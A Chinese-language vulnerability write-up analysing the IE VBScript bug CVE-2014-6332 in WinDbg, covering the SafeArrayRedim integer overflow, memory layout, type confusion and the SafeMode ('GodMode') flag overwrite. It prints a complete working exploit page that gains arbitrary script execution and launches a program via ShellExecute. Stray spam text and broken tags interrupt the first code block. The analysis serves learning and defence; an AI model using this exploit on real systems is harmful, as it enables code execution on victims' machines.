Author: xd0ol1 (知道創宇404實驗室)

前文回顧:

0x00 引子

本文將通過一個經典的IE漏洞來繼續學習WinDbg相關的分析調試,錯誤之處還望各位大牛加以斧正:P

0x01 概述

我們要用到的是CVE-2014-6332這個漏洞,前輩們已經有過精彩的分析了,對應文章在參考部分有給出。此漏洞最值得借鑒的是其中所涉及的利用方式,上兩篇分析的CVE-2012-1876需要繞過ASLR、DEP等保護手段來執行ROP+shellcode,而CVE-2014-6332則是借助RW primitives+GodMode的方式來實現漏洞的利用。不好說這兩種思路孰優孰劣,應該是各有千秋的,繞過保護措施可能會復雜些,因而現今的exploit更多會先獲取RW primitives,之后corrupt有關數據結構來實現代碼的執行。

該漏洞在當時還是比較嚴重的,幾乎所有Windows版本中的IE都受到了影響,它是由于VBScript引擎在重新分配數組儲存空間時的錯誤引起的,具體來說是oleaut32模塊SafeArrayRedim函數中的整數溢出錯誤。當然,微軟目前已經放棄了VBScript,但我們學習的目的在于舉一隅以三隅反,因此理解其原理還是很有必要的。

此處的分析環境為Win7 x86 - IE 8.0.7601.17514。

0x02 RW primitives

我們先來看下如何通過此漏洞來獲取RW primitives,即corrupt后的SAFEARRAY結構,這里注意下,RW(Read/Write) primitives指的是exploit中那些用于實現內存讀寫的對象或函數。分析所用的PoC代碼如下:

``` code html CVE-2014-6332 PoC.

<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            亚洲欧美在线

            我們知道在VBScript中,數組是以SAFEARRAY結構來保存的,其定義如下:

            0:013> dt ole32!tagSAFEARRAY +0x000 cDims : Uint2B +0x002 fFeatures : Uint2B +0x004 cbElements : Uint4B +0x008 cLocks : Uint4B +0x00c pvData : Ptr32 Void +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:013> dt ole32!tagSAFEARRAYBOUND +0x000 cElements : Uint4B +0x004 lLbound : Int4B

            其中cDims表示數組的維數,每個維度都對應一個SAFEARRAYBOUND結構,包含有此維度的大小和起始索引,同時,cbElements表示每個元素的大小,這些元素保存在pvData地址處。而對于fFeatures表示的含義,可參考此[說明](https://msdn.microsoft.com/en-us/library/windows/desktop/ms221482(v=vs.85).aspx)。
            
            此外,可以通過IDA得到如下的SafeArrayRedim函數定義:
            
            ```c
            HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew);

            我們在IE中打開上述PoC文件,并用WinDbg附加相應進程,然后執行如下操作:

            0:013> bp OLEAUT32!SafeArrayRedim
            0:013> g
            Breakpoint 3 hit
            eax=023dcfa8 ebx=002c2a10 ecx=0006fa58 edx=0000400c esi=0006fa58 edi=00000000
            eip=75aeec2c esp=023dcf94 ebp=023dcfb0 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            OLEAUT32!SafeArrayRedim:
            75aeec2c 8bff            mov     edi,edi
            0:005> kb 3
            ChildEBP RetAddr  Args to Child              
            023dcf90 728c58da 002c2a10 023dcfa8 0006f438 OLEAUT32!SafeArrayRedim
            023dcfb0 728c5887 00000001 00000001 0006fa58 vbscript!RedimPreserveArray+0x81
            023dd0ac 728b4ff6 023dd214 8f64c1b9 00000000 vbscript!CScriptRuntime::RunNoEH+0x1466
            0:005> dd 002c2a10 L6
            002c2a10  08800001 00000010 00000000 00234298
            002c2a20  00000004 00000000
            0:005> dd 023dcfa8 L2
            023dcfa8  08421421 00000000
            0:005> dd 00234298 L10
            00234298  00000002 00000000 00000001 00000000
            002342a8  00000002 00000000 00000002 00000000
            002342b8  00000002 00000000 00000004 00000000
            002342c8  00000002 00000000 00000008 00000000

            可以看到,最初定義的數組維度為1,共有0x04個Variant型元素,且每個元素占0x10字節。這里特別強調下Variant結構,它在后續會經常用到,其定義如下:

            圖0  Variant結構的定義

            保存浮點數時會同時使用Data High和Data Low字段,而如果只保存整型或指針則僅需Data High字段,Type字段的定義可參考這里,在本文中涉及到的類型如下:

            圖1  Type字段的定義

            接著腳本借助redim來重新分配數組空間,對應元素個數為0x08421420+1=0x08421421,即0x08421421*0x10=0x84214210字節空間,很顯然這個分配操作會失敗,畢竟32位進程的用戶態空間最大也只到0x7fffffff,但由于存在如下語句,腳本將會繼續執行:

            ``` code html On Error Resume Next

            當跳出SafeArrayRedim函數后,我們再看下此時SAFEARRAY結構中的內容:

            0:005> dd 002c2a10 L6 002c2a10 08800001 00000010 00000000 00234298 002c2a20 08421421 00000000

            即數組的起始地址仍為0x00234298,但索引范圍變成了0~0x08421420,這正是我們要用到的corrupt后的SAFEARRAY結構,通過它可以獲取RW primitives功能。如下給出了漏洞的具體成因:

            0:005> uf OLEAUT32!SafeArrayRedim OLEAUT32!SafeArrayRedim: 75aeec2c 8bff mov edi,edi 75aeec2e 55 push ebp 75aeec2f 8bec mov ebp,esp 75aeec31 83ec18 sub esp,18h 75aeec34 53 push ebx 75aeec35 56 push esi 75aeec36 8b7508 mov esi,dword ptr [ebp+8] 75aeec39 57 push edi 75aeec3a 33ff xor edi,edi 75aeec3c 3bf7 cmp esi,edi 75aeec3e 0f843f030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

            OLEAUT32!SafeArrayRedim+0x18: 75aeec44 397d0c cmp dword ptr [ebp+0Ch],edi 75aeec47 0f8436030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

            OLEAUT32!SafeArrayRedim+0x21: 75aeec4d 0fb74e02 movzx ecx,word ptr [esi+2] 75aeec51 8bc1 mov eax,ecx 75aeec53 2500200000 and eax,2000h 75aeec58 8945f4 mov dword ptr [ebp-0Ch],eax 75aeec5b 66393e cmp word ptr [esi],di 75aeec5e 0f841f030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

            OLEAUT32!SafeArrayRedim+0x38: 75aeec64 397e08 cmp dword ptr [esi+8],edi 75aeec67 0f870c030000 ja OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)

            OLEAUT32!SafeArrayRedim+0x41: 75aeec6d f6c110 test cl,10h 75aeec70 0f8503030000 jne OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)

            OLEAUT32!SafeArrayRedim+0x4a: 75aeec76 8d45f0 lea eax,[ebp-10h] 75aeec79 50 push eax 75aeec7a 897d08 mov dword ptr [ebp+8],edi 75aeec7d 897df0 mov dword ptr [ebp-10h],edi 75aeec80 e8f15dfeff call OLEAUT32!GetMalloc (75ad4a76) 75aeec85 8bd8 mov ebx,eax 75aeec87 3bdf cmp ebx,edi 75aeec89 0f85d5020000 jne OLEAUT32!SafeArrayRedim+0x5f (75aeef64)

            OLEAUT32!SafeArrayRedim+0x65: 75aeec8f 56 push esi ;SAFEARRAY結構的指針 75aeec90 e868f0ffff call OLEAUT32!SafeArraySize (75aedcfd) ;獲取已分配的數組空間大小 75aeec95 8945fc mov dword ptr [ebp-4],eax ;保存已分配空間大小值0x00000040 75aeec98 3bc7 cmp eax,edi 75aeec9a 7409 je OLEAUT32!SafeArrayRedim+0x7b (75aeeca5)

            OLEAUT32!SafeArrayRedim+0x72: 75aeec9c 397e0c cmp dword ptr [esi+0Ch],edi 75aeec9f 0f84de020000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)

            OLEAUT32!SafeArrayRedim+0x7b: 75aeeca5 8b450c mov eax,dword ptr [ebp+0Ch] 75aeeca8 8b08 mov ecx,dword ptr [eax] 75aeecaa 8b5e10 mov ebx,dword ptr [esi+10h] ;備份rgsabound中的cElements值0x00000004 75aeecad 8b7e14 mov edi,dword ptr [esi+14h] ;備份rgsabound中的lLbound 75aeecb0 894e10 mov dword ptr [esi+10h],ecx ;修改rgsabound中的cElements為0x08421421 75aeecb3 8b4004 mov eax,dword ptr [eax+4] 75aeecb6 56 push esi ;SAFEARRAY結構的指針 75aeecb7 895de8 mov dword ptr [ebp-18h],ebx 75aeecba 897dec mov dword ptr [ebp-14h],edi 75aeecbd 894614 mov dword ptr [esi+14h],eax ;修改rgsabound中的lLbound 75aeecc0 e838f0ffff call OLEAUT32!SafeArraySize (75aedcfd) ;獲取待分配的數組空間大小 75aeecc5 8945f8 mov dword ptr [ebp-8],eax ;保存待分配空間大小值0x84214210 75aeecc8 83f8ff cmp eax,0FFFFFFFFh 75aeeccb 0f8490910100 je OLEAUT32!SafeArrayRedim+0xa3 (75b07e61)

            OLEAUT32!SafeArrayRedim+0xb3: 75aeecd1 8bd8 mov ebx,eax 75aeecd3 2b5dfc sub ebx,dword ptr [ebp-4] ;待分配大小減去已分配大小,等于0x842141d0 75aeecd6 0f84a8000000 je OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)

            OLEAUT32!SafeArrayRedim+0xbe: 75aeecdc 8b7df0 mov edi,dword ptr [ebp-10h] 75aeecdf 85db test ebx,ebx 75aeece1 7d45 jge OLEAUT32!SafeArrayRedim+0x110 (75aeed28) ;將0x842141d0當作負數,整數溢出

            OLEAUT32!SafeArrayRedim+0xc5: 75aeece3 b9200f0000 mov ecx,0F20h 75aeece8 66854e02 test word ptr [esi+2],cx 75aeecec 743a je OLEAUT32!SafeArrayRedim+0x110 (75aeed28)

            OLEAUT32!SafeArrayRedim+0xd0: 75aeecee 837df400 cmp dword ptr [ebp-0Ch],0 75aeecf2 0f8579910100 jne OLEAUT32!SafeArrayRedim+0xd6 (75b07e71)

            OLEAUT32!SafeArrayRedim+0xe0: 75aeecf8 8b07 mov eax,dword ptr [edi] 75aeecfa 895d0c mov dword ptr [ebp+0Ch],ebx 75aeecfd f75d0c neg dword ptr [ebp+0Ch] 75aeed00 ff750c push dword ptr [ebp+0Ch] 75aeed03 57 push edi 75aeed04 ff500c call dword ptr [eax+0Ch] ;ole32!CRetailMalloc_Alloc,分配空間失敗 75aeed07 894508 mov dword ptr [ebp+8],eax 75aeed0a 85c0 test eax,eax 75aeed0c 0f845d020000 je OLEAUT32!SafeArrayRedim+0x19d (75aeef6f)

            ......

            OLEAUT32!SafeArrayRedim+0x1b8: 75aeed75 837d0800 cmp dword ptr [ebp+8],0 75aeed79 7409 je OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)

            OLEAUT32!SafeArrayRedim+0x1be: 75aeed7b ff7508 push dword ptr [ebp+8] 75aeed7e 8b07 mov eax,dword ptr [edi] 75aeed80 57 push edi 75aeed81 ff5014 call dword ptr [eax+14h] ;ole32!CRetailMalloc_Free

            OLEAUT32!SafeArrayRedim+0x1c7: 75aeed84 8bc3 mov eax,ebx

            OLEAUT32!SafeArrayRedim+0x1d7: 75aeed86 5f pop edi 75aeed87 5e pop esi 75aeed88 5b pop ebx 75aeed89 c9 leave 75aeed8a c20800 ret 8

            ......

            OLEAUT32!SafeArrayRedim+0x19d: 75aeef6f bb0e000780 mov ebx,8007000Eh 75aeef74 e9fcfdffff jmp OLEAUT32!SafeArrayRedim+0x1b8 (75aeed75)

            ......

            我們知道SafeArrayRedim函數的第一個入參為SAFEARRAY結構的指針,其中包含已分配數組的SAFEARRAYBOUND信息,第二個入參為待分配數組的SAFEARRAYBOUND信息。在獲取完已分配數組的大小后,程序根據待分配數組的SAFEARRAYBOUND信息來修改SAFEARRAY指針指向的原SAFEARRAYBOUND信息,即其中的cElements和lLbound,以此來獲取待分配數組的大小。但由于之后jge指令將新增空間大小0x842141d0當成了負數,即整數溢出,導致程序進入錯誤的處理分支,新空間會分配失敗,但函數在返回前并沒有將原先備份的SAFEARRAYBOUND信息替換回去,從而分配的數組空間沒變cElements值卻改變了,因此corrupt后的SAFEARRAY結構可被用于內存的越界訪問。
            
            ### 0x03 GodMode
            
            接著我們來討論如何在當前的IE環境中開啟VBScript的GodMode,用到的代碼如下:
            
            ```html
            <html>
            <body>
            <SCRIPT LANGUAGE="VBScript">
              On Error Resume Next
              set shell=createobject("Shell.Application")
              shell.ShellExecute "notepad.exe"
            </script>
            </body>
            </html>

            正常情況打開這個html文件是無法彈出記事本的,因為IE會禁止運行那些可能危害系統的腳本,它會通過vbscript!COleScript::InSafeMode函數來對SafeMode標志進行檢查,此標志的默認值為0x0e。我們重新打開上述文件并在WinDbg中進行如下操作:

            0:012> bu vbscript!COleScript::InSafeMode
            0:012> g
            Breakpoint 0 hit
            eax=76140782 ebx=00000000 ecx=0002bdd0 edx=76130000 esi=0002f558 edi=00000000
            eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0         nv up ei pl nz na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
            vbscript!COleScript::InSafeMode:
            6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=0000000e
            0:005> ln poi(ecx)
            (6f354868)   vbscript!COleScript::`vftable'   |  (6f36fdbc)   vbscript!`string'
            Exact matches:
                vbscript!COleScript::`vftable' = <no type information>
            0:005> dd ecx+174h L1
            0002bf44  0000000e
            0:005> uf vbscript!COleScript::InSafeMode
            vbscript!COleScript::InSafeMode:
            6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh
            6f35ce57 6a00            push    0
            6f35ce59 58              pop     eax
            6f35ce5a 0f95c0          setne   al
            6f35ce5d c3              ret
            0:005> eb ecx+174h 4
            0:005> dd ecx+174h L1
            0002bf44  00000004
            0:005> g
            Breakpoint 0 hit
            eax=00000001 ebx=00000000 ecx=0002bdd0 edx=0244d3b0 esi=00000000 edi=00000000
            eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!COleScript::InSafeMode:
            6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=00000004
            0:005> bd *
            0:005> g
            ModLoad: 6efe0000 6efe3000   C:\Windows\system32\sfc.dll
            ModLoad: 6efd0000 6efdd000   C:\Windows\system32\sfc_os.DLL

            可以看到,SafeMode標志是vbscript!COleScript對象指針特定偏移處的一個值,在InSafeMode函數中,會檢查它和0x0B相與的結果,如果為0,那么VBScript的執行將不再受到限制,即此時SafeMode標志值要為0或4,通過手動修改內存中的這個標志值最終可以彈出記事本。

            0x04 漏洞利用

            在前面分析的基礎上,我們來看一下此漏洞的exploit,具體思路就是通過corrupt后的SAFEARRAY結構來獲取RW primitives,然后對SafeMode標志進行修改,從而執行任意的VBScript代碼:

            <!DOCTYPE html>
            <html>
            <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
            <body>
              CVE-2014-6332 exploit by yuange.
            <SCRIPT LANGUAGE="VBScript">
            function Runmumaa()  '彈出記事本'
              On Error Resume Next
              set shell=createobject("Shell.Application")
              shell.ShellExecute "notepad.exe"
            end function
            </script>
            
            <SCRIPT LANGUAGE="VBScript">
            dim aa()  '數組和變量的定義'
            dim ab()
            dim a0
            dim a1
            dim a2
            dim a3
            dim intVersion
            dim myarray
            
            Begin()
            
            function Begin()  '程序入口'
              On Error Resume Next
              info=Navigator.UserAgent
            
              if (instr(info,"Win64")>0) then  '判斷系統位數并獲取IE版本'
                exit function
              end if
              if (instr(info,"MSIE")>0) then
                intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
              else
                exit function
              end if
            
              BeginInit()
              if Create()=True then
                myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
                myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00)  '定義精心構造的SAFEARRAY結構'
                Setnotsafemode()
              end if
            end function
            
            function BeginInit()  '數組和變量的初始化'
              Randomize()
              redim aa(5)
              redim ab(5)
              a0=13+17*rnd(6)
              a3=7+3*rnd(5)
            end function
            
            function Create()  '創建期望的內存布局'
              On Error Resume Next
              dim i
              Create=False
              for i = 0 to 400
                if Over()=True then
                  Create=True
                  exit for
                end if
              next
            end function
            
            sub testaa()
            end sub
            
            function Mydata()  '獲取函數對象指針并布局精心構造的SAFEARRAY結構'
              On Error Resume Next
              i=testaa
              i=null
            
              redim Preserve aa(a2)
              ab(0)=0
              aa(a1)=i
              ab(0)=6.36598737437801E-314  '0x0000000300000003'
              aa(a1+2)=myarray
              ab(2)=1.74088534731324E-310  '0x0000200c0000200c'
              Mydata=aa(a1)
              redim Preserve aa(a0)
            end function
            
            function Setnotsafemode()
              On Error Resume Next
              i=Mydata()  '獲取testaa函數對象指針,即CScriptEntryPoint對象指針'
              i=ReadMemo(i+8)
              i=ReadMemo(i+16)  '獲取COleScript對象指針'
            
              for k=0 to &h60 step 4  '搜索內存中的SafeMode標志值并修改'
                j=ReadMemo(i+&h120+k)
                if (j=14) then
                  redim Preserve aa(a2)
                  aa(a1+2)(i+&h11c+k)=ab(4)  'write primitive'
                  redim Preserve aa(a0)
                  exit for
                end if
              next
            
              ab(2)=1.69759663316747E-313  '0x0000000800000008'
              Runmumaa()
            end function
            
            function Over()  '判斷內存中分配的aa、ab這兩個數組是否相鄰'
              On Error Resume Next
              dim type1
              Over=False
              a0=a0+a3
              a1=a0+2
              a2=a0+&h8000000
              redim Preserve aa(a0)
              redim ab(a0)
            
              redim Preserve aa(a2)  '對aa數組進行corrupt'
              type1=1
              ab(0)=1.012345678901234567890123456789  '用作標記值'
              aa(a0)=10
            
              if (IsObject(aa(a1-1)) = False) then
                if (VarType(aa(a1-1))<>0) then
                  if (IsObject(aa(a1)) = False) then
                    type1=VarType(aa(a1))
                  end if
                end if
              end if
              if (type1=&h0b24) then  '判斷是否和標記相符'
                Over=True
              end if
              redim Preserve aa(a0)  '恢復aa數組至corrupt前'
            end function
            
            function ReadMemo(add)  '借助類型混淆來讀取add地址處的值'
              On Error Resume Next
              redim Preserve aa(a2)
              ab(0)=0
              aa(a1)=add+4
              ab(0)=1.69759663316747E-313  '0x0000000800000008'
              ReadMemo=lenb(aa(a1))  'read primitive'
              ab(0)=0
              redim Preserve aa(a0)
            end function
            </script>
            </body>
            </html>

            其中,科學記數法表示的浮點數可由C中的printf函數進行轉換:

            ``` code c printf("%I64x\n", 1.69759663316747E-313); printf("%.14E\n", 0x0000000800000008);

            在調試過程中我們可適當插入document.write()來輸出那些輔助的信息,同時還可以通過插入MsgBox()來定位相關代碼,例如最開始先禁用WinDbg中的所有斷點,待彈出窗口后再啟用斷點,這樣我們就能快速跳到想要的位置跟蹤調試了。
            
            此外,[yuange](https://twitter.com/yuange75)的DVE(數據虛擬執行)想法確實妙,筆者還有待慢慢領悟,下面我們進入詳細的分析。
            
            ####1 內存布局
            
            exploit中用到了aa和ab兩個數組,它們會在Over()中通過redim進行重新分配,也就是執行完如下兩條語句后:
            
            ``` code html
            redim Preserve aa(a0)
            redim ab(a0)

            內存布局需要達到如下效果,同樣,每個數組元素都保存在Variant結構中:

            圖2  期望的內存布局

            如果不滿足就重復這個分配過程,由于相應空間分配在堆上,根據堆管理的性質是能實現上述布局的,這樣就可以通過corrupt后的aa數組來越界訪問ab數組了。我們來具體看一下:

            0:012> bp OLEAUT32!SafeArrayRedim
            0:012> g
            Breakpoint 0 hit
            eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84d0 edi=01e00900
            eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            OLEAUT32!SafeArrayRedim:
            7664ec2c 8bff            mov     edi,edi
            0:005> kb 3
            ChildEBP RetAddr  Args to Child              
            0249cafc 6fb158da 004692e8 0249cb14 ffffffff OLEAUT32!SafeArrayRedim
            0249cb1c 6fb15887 00000001 00000001 01df84d0 vbscript!RedimPreserveArray+0x81
            0249cc18 6fb04ff6 0249ce2c c9d653d5 01e008d0 vbscript!CScriptRuntime::RunNoEH+0x1466
            0:005> dd 004692e8 L6
            004692e8  08800001 00000010 00000000 0042e2b8
            004692f8  00000006 00000000
            ......
            0:005> g
            (6b0.f28): Break instruction exception - code 80000003 (first chance)
            eax=7ffd4000 ebx=00000000 ecx=00000000 edx=77b8f125 esi=00000000 edi=00000000
            eip=77b240f0 esp=059dfd94 ebp=059dfdc0 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            ntdll!DbgBreakPoint:
            77b240f0 cc              int     3
            0:010> dd 004692e8 L6
            004692e8  08800001 00000010 00000000 02e66ec8
            004692f8  080000a2 00000000
            0:010> !heap -p -a 02e66ec8
                address 02e66ec8 found in
                _HEAP @ 3c0000
                  HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
                    02e66ec0 0145 0000  [00]   02e66ec8    00a20 - (busy)
            
            
            0:010> ? 02e66ec8+a2*10
            Evaluate expression: 48658664 = 02e678e8

            此時地址0x02e678e8處即為8字節的堆指針,內存分布如下:

            圖3  滿足條件的內存分布

            其中,數值1.012345678901234567890123456789保存在ab(0)中,該Variant結構的Type字段為5,而Data High+Data Low字段為0x3ff0329161f20b24。當aa數組corrupt后可以訪問到ab數組中的數據,由于這之間恰好隔了8字節的堆指針,所以這兩個數組的Type+Reserved部分就和Data High+Data Low部分交錯了,因此ab(0)的Data High+Data Low部分會被當成aa(a1)的Type+Reserved部分,即VarType(aa(a1))等于0x0b24。

            2 類型混淆

            在完成內存的布局后,exploit就可以借助ab數組元素的賦值操作來對corrupt后aa數組元素的Type字段進行更改,從而實現類型的混淆,接下去我們將分析exploit中用到的類型混淆手法以及由此得到的Read primitive。

            來看下Mydata()函數,它會通過如下代碼將testaa函數對象指針賦給i:

            ``` code html On Error Resume Next i=testaa i=null

            接著是與類型混淆有關的那部分代碼:
            
            ``` code html
            redim Preserve aa(a2)  '對aa數組進行corrupt'
            ab(0)=0
            aa(a1)=i
            ab(0)=6.36598737437801E-314  '0x0000000300000003'
            aa(a1+2)=myarray
            ab(2)=1.74088534731324E-310  '0x0000200c0000200c'
            Mydata=aa(a1)
            redim Preserve aa(a0)  '恢復aa數組至corrupt前'

            這里面會進行兩次類型混淆處理,首先由于變量i的類型為null(0x01),因此需要將其轉成long integer(0x03)后再返回,該函數對象指針事實上就是CScriptEntryPoint對象的指針。而myarray中則保存著精心構造的SAFEARRAY結構,最初賦給aa(a1+2)時其類型為string(0x08),需要將其類型改為Variant數組,這在后面獲取Write primitive時會用到。對應的調試過程如下:

            0:005> bl
             0 e 7664ec2c     0001 (0001)  0:**** OLEAUT32!SafeArrayRedim
             1 e 6fb02e64     0001 (0001)  0:**** vbscript!AssignVar
             2 e 6fb11f4c     0001 (0001)  0:**** vbscript!AccessArray
            0:005> g
            Breakpoint 1 hit
            eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
            eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
            vbscript!AssignVar:
            6fb02e64 8bff            mov     edi,edi
            0:005> dd esp L4
            0249cb1c  6fb13991 0013ebf0 02e678f8 01df84f0
            0:005> dd 01df84f0 L4
            01df84f0  0000400c 00000000 0013268c 41a00001
            0:005> dd 0013268c L4
            0013268c  00000001 00000080 01df8718 01000f0e
            0:005> ln poi(01df8718)
            (6fb04934)   vbscript!CScriptEntryPoint::`vftable'   |  (6fb1ab54)   vbscript!CEntryPointDispatch::`vftable'
            Exact matches:
                vbscript!CScriptEntryPoint::`vftable' = <no type information>
            0:005> g
            Breakpoint 2 hit
            eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
            eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray:
            6fb11f4c 8bff            mov     edi,edi
            0:005> db 02e678e8 L20
            02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
            02e678f8  01 00 00 00 80 00 00 00-18 87 df 01 0e 0f 00 01  ................
            0:005> g
            Breakpoint 1 hit
            eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
            eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
            vbscript!AssignVar:
            6fb02e64 8bff            mov     edi,edi
            0:005> dd esp L4
            0249cb1c  6fb13991 0013ebf0 02e678f0 01df84f0
            0:005> db 02e678f0 L10
            02e678f0  02 00 00 00 00 00 00 00-01 00 00 00 80 00 00 00  ................
            0:005> db 01df84f0 L10
            01df84f0  05 00 00 00 00 00 00 00-03 00 00 00 03 00 00 00  ................
            0:005> g
            Breakpoint 2 hit
            eax=0249cc10 ebx=0249cc70 ecx=0013f23c edx=0000400c esi=01e00900 edi=00000001
            eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray:
            6fb11f4c 8bff            mov     edi,edi
            0:005> db 02e678e8 L20
            02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
            02e678f8  03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01  ................
            0:005> g
            Breakpoint 1 hit
            eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
            eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
            vbscript!AssignVar:
            6fb02e64 8bff            mov     edi,edi
            0:005> g
            Breakpoint 2 hit
            eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
            eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray:
            6fb11f4c 8bff            mov     edi,edi
            0:005> db 02e678e8 L40
            02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
            02e678f8  03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01  ................
            02e67908  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
            02e67918  08 00 49 02 a5 00 00 00-14 50 40 00 18 cc 49 02  ..I......P@...I.
            0:005> dd 00405014-4 L8
            00405010  00000018 08800001 00000001 00000000
            00405020  00000000 7fff0000 00000000 00000000
            0:005> g
            Breakpoint 1 hit
            eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
            eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
            vbscript!AssignVar:
            6fb02e64 8bff            mov     edi,edi
            0:005> g
            Breakpoint 2 hit
            eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
            eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0         nv up ei pl zr na pe nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
            vbscript!AccessArray:
            6fb11f4c 8bff            mov     edi,edi
            0:005> db 02e678e8 L40
            02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
            02e678f8  03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01  ................
            02e67908  00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
            02e67918  0c 20 00 00 0c 20 00 00-14 50 40 00 18 cc 49 02  . ... ...P@...I.
            0:005> dt ole32!tagSAFEARRAY 00405014
               +0x000 cDims            : 1
               +0x002 fFeatures        : 0x880
               +0x004 cbElements       : 1
               +0x008 cLocks           : 0
               +0x00c pvData           : (null) 
               +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

            我們知道字符串在內存中是以BSTR對象保存的,暫不論類型混淆,就myarray字符串而言,它在內存中的保存結果如下,Data High字段中的指針0x00405014指向相應的字符內容:

            圖4  內存中的myarray

            其中,BSTR對象頭部表示字符串的長度,此情況中即為poi(0x00405014-4)=0x18。

            了解這一點后,我們再來看實現Read primitive的函數:

            function ReadMemo(add)  '借助類型混淆來讀取add地址處的值'
              On Error Resume Next
              redim Preserve aa(a2)  '對aa數組進行corrupt'
              ab(0)=0
              aa(a1)=add+4
              ab(0)=1.69759663316747E-313  '0x0000000800000008'
              ReadMemo=lenb(aa(a1))  'read primitive'
              ab(0)=0
              redim Preserve aa(a0)  '恢復aa數組至corrupt前'
            end function

            首先add+4會以long integer(0x03)類型賦給aa(a1),這里add為要讀取的地址,而后aa(a1)的類型被改成了string(0x08),于是add+4也就被當成了指向字符內容的指針,因此lenb(aa(a1))就等價于poi(add+4-4),即add地址處的值。

            對于Setnotsafemode函數中的如下ReadMemo調用:

            On Error Resume Next
            i=Mydata()  '獲取testaa函數對象指針,即CScriptEntryPoint對象指針'
            i=ReadMemo(i+8)

            其跟蹤過程如下:

            0:005> g
            Breakpoint 1 hit
            eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
            eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na po nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
            vbscript!AssignVar:
            6fb02e64 8bff            mov     edi,edi
